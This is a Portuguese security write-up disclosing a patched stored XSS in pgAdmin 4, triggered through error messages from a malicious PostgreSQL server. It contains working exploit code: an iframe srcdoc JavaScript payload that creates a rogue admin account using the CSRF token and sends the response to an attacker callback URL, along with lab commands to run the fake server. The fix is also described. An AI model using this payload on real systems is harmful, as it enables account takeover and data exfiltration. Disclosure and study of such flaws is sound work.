CVE-2026-12048 — Stored XSS crítico no pgAdmin 4 via html-react-parser e servidor PostgreSQL malicioso

1. Introdução

Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Recomendo ler o artigo introdutório antes de continuar — ele traz o contexto geral e a tabela com todas as CVEs.

A CVE-2026-12048 tem CVSS 9.3 (Crítica), a maior severidade do conjunto. É uma vulnerabilidade de Stored XSS com um vetor particular: o conteúdo malicioso não vem de um campo de formulário nem de uma URL — vem de um servidor PostgreSQL controlado pelo atacante. Quando a vítima conecta o pgAdmin a esse servidor, o erro retornado pelo servidor é passado por html-react-parser sem sanitização e renderizado no DOM do pgAdmin. De lá, usando um iframe com srcdoc, é possível executar JavaScript no contexto da aba do pgAdmin — e esse JavaScript tem acesso same-origin a todos os recursos da aplicação.

O que tornava a falha especialmente perigosa no server mode é que um usuário registra um servidor malicioso uma vez, e qualquer outro usuário da instância pgAdmin que conectar a esse servidor (seja diretamente, seja via SharedServer) tem o XSS executado.

Aviso: conteúdo exclusivamente educacional. A falha já foi corrigida na versão 9.16 do pgAdmin 4.

2. O caminho até a vulnerabilidade

O pgAdmin tem um mecanismo chamado post_connection_sql: ao conectar a um servidor PostgreSQL, o pgAdmin executa automaticamente uma query SQL configurada pelo usuário (ou pelo administrador) para inicializar variáveis de sessão. Se essa query falha, o pgAdmin registra o erro, mas considera a conexão bem-sucedida e retorna success=1 com a mensagem de erro no campo errormsg.

# web/pgadmin/browser/server_groups/servers/connection.py — antes da correção
def execute_post_connection_sql(manager, conn):
    post_conn_sql = config.get('post_connection_sql', '')
    if not post_conn_sql:
        return True, None
    try:
        status, msg = conn.execute_void(post_conn_sql)
        if not status:
            # A mensagem de erro do PostgreSQL é retornada sem qualquer tratamento
            return True, "Failed to execute the post connection SQL " \
                         "with below error message:\n" + msg
    except Exception as e:
        return True, str(e)
    return True, None

Essa mensagem de erro (msg) vem diretamente do servidor PostgreSQL — do campo M (message) da mensagem ErrorResponse do protocolo wire do PostgreSQL. E é controlada pelo servidor.

3. O servidor PostgreSQL falso

Para demonstrar a falha, implementei um servidor PostgreSQL falso em Python que segue o protocolo wire suficientemente bem para que o pgAdmin se conecte, mas retorna uma mensagem de erro com payload HTML no campo M:

# iframe_payload/postgres.py — trecho principal

def build_srcdoc_payload(callback_url):
    srcdoc = f"""<!doctype html><html><body><script>
      // Executando no contexto same-origin do pgAdmin
      fetch(parent.location.origin + '/user_management/save', {{
        method: 'POST',
        credentials: 'include',
        headers: {{
          [parent.pgAdmin.csrf_token_header]: parent.pgAdmin.csrf_token,
          'Content-Type': 'application/json'
        }},
        body: JSON.stringify({{
          auth_source: 'internal',
          role: 1,
          active: true,
          email: 'hacker@hacker.com',
          newPassword: 'Admin@2024!',
          confirmPassword: 'Admin@2024!'
        }})
      }}).then(r => r.json()).then(d => {{
        fetch('{callback_url}', {{ method:'POST', body:JSON.stringify(d) }});
      }});
    </script></body></html>"""
    # Usando HTML entities para sobreviver ao htmlparser2 no frontend
    return (
        "fake postgres post-connection error: "
        f'<iframe srcdoc="{html_attr(srcdoc)}" '
        'style="width:100%;height:230px">'
        '</iframe>'
    )

def error_response(message):
    fields = (
        b"SERROR\x00"
        b"C28000\x00"
        + b"M" + message.encode() + b"\x00"
        + b"\x00"
    )
    return message_frame(b"E", fields)

Quando o pgAdmin executa o post_connection_sql e a query falha, o servidor fake retorna esse ErrorResponse com o payload HTML/JS no campo M. Esse payload é então encaminhado para o frontend no errormsg.

4. A cadeia de renderização no frontend

POST /browser/server_groups/servers/.../connect/
  ↓
execute_post_connection_sql() → retorna True, errmsg com HTML
  ↓
connect() → make_json_response(success=1, errormsg=errmsg_com_html)
  ↓
Frontend recebe: { "success": 1, "errormsg": "...<iframe srcdoc=...>" }
  ↓
if (res?.errormsg) pgAdmin.Browser.notifier.error(res.errormsg, null)
  ↓
notifier.error → callNotify(msg, ERROR) → <NotifierMessage message={msg}>
  ↓
JSX: {HTMLReactParse(message || '')}   // <- sem sanitização
  ↓
<iframe srcdoc="..."> inserido no DOM do pgAdmin
  ↓
srcdoc é same-origin com o pgAdmin → JavaScript executa com acesso completo

O ponto crucial é que HTMLReactParse(message) sem DOMPurify aceita o <iframe srcdoc> e o insere no DOM. React 19 até sanitiza javascript: em atributos src e href, mas o atributo srcdoc é passado integralmente.

O htmlparser2 (usado internamente pelo html-react-parser) também decodifica entidades HTML em valores de atributos, então o payload pode estar codificado como &lt;script&gt; dentro do srcdoc e ainda assim ser executado.

5. O ambiente de laboratório

Usei dois terminais para o PoC:

# Terminal 1: servidor fake PostgreSQL escutando na porta 9003
python3 iframe_payload/postgres.py \
  --port 9003 \
  --payload-mode srcdoc-proof \
  --callback-url http://192.168.18.8:8888/ \
  --post-user-create

# Terminal 2: script que registra o servidor no pgAdmin e dispara a conexão
python3 xss_post_connection_poc.py \
  --url http://localhost:5053 \
  --email admin@lab.dev \
  --password 'Admin@2024!' \
  --fake-host 192.168.18.8 \
  --fake-port 9003

O --post-user-create instrui o payload do srcdoc a tentar criar um usuário administrador (hacker@hacker.com) via POST /user_management/save — usando o CSRF token do pgAdmin, que está acessível como parent.pgAdmin.csrf_token.

A resposta confirmada do servidor (HTTP 200 com o payload HTML no campo errormsg):

{
  "success": 1,
  "errormsg": "Failed to execute the post connection SQL with below error message:\n<iframe srcdoc=\"&lt;script&gt;...&lt;/script&gt;\">"
}

6. O impacto em instâncias compartilhadas

Em uma instalação pgAdmin em server mode com múltiplos usuários, o atacante:

  1. Registra um servidor PostgreSQL falso apontando para sua própria máquina.
  2. Habilita o post_connection_sql para disparar o erro ao conectar.
  3. Qualquer outro usuário da instância que for direcionado a conectar nesse servidor (via SharedServer ou convite) tem o XSS executado em seu contexto.

Não é preciso que o usuário faça nada além de clicar em “conectar ao servidor” — comportamento completamente normal no uso do pgAdmin.

7. Por que controles clássicos não mitigam

Uma observação importante: os controles clássicos contra clickjacking (X-Frame-Options: DENY, Content-Security-Policy: frame-ancestors 'none') não funcionam aqui porque a injeção não usa iframes externos apontando para o pgAdmin — ela injeta um iframe dentro do DOM do pgAdmin. A página carregada no srcdoc é same-origin com o pgAdmin porque o iframe foi injetado pelo próprio servidor do pgAdmin.

8. A correção

A correção foi aplicada em três camadas complementares:

1. DOMPurify em todas as chamadas do html-react-parser:

// Antes
{HTMLReactParse(message || '')}

// Depois
import DOMPurify from 'dompurify';
{HTMLReactParse(DOMPurify.sanitize(message || ''))}

O DOMPurify remove elementos como <iframe>, <script>, e outros vetores de injeção antes que o parser processe o HTML.

2. Novo contrato de renderização com SafeMessage:

Foi criado um componente SafeMessage que renderiza texto puro (sem HTML) e um SafeHtmlMessage para os raros casos onde HTML confiável é necessário. Cerca de cinquenta callers foram migrados para usar esses novos componentes com helpers como Notifier.errorText(), alertText(), etc.

// Componente SafeMessage — novo
export const SafeMessage = ({ message }) => (
  <span>{String(message || '')}</span>  // renderiza como texto puro
);

3. Escape no backend:

A função execute_post_connection_sql passou a escapar o HTML nas mensagens de erro antes de incluí-las na resposta JSON, de modo que consumidores da API (logs, clientes externos) também nunca recebam o markup bruto:

import html

def execute_post_connection_sql(manager, conn):
    ...
    if not status:
        safe_msg = html.escape(msg)
        return True, "Failed to execute the post connection SQL " \
                     "with below error message:\n" + safe_msg

Referência: pgadmin4#10068

9. Referências

  1. CWE-79: Cross-site Scripting
  2. CWE-116: Improper Encoding or Escaping of Output
  3. DOMPurify — documentação
  4. html-react-parser — documentação
  5. PostgreSQL wire protocol — mensagens de erro (ErrorResponse)
  6. OWASP XSS Prevention Cheat Sheet
  7. CVE-2026-12048 no cve.org
  8. Repositório do pgAdmin 4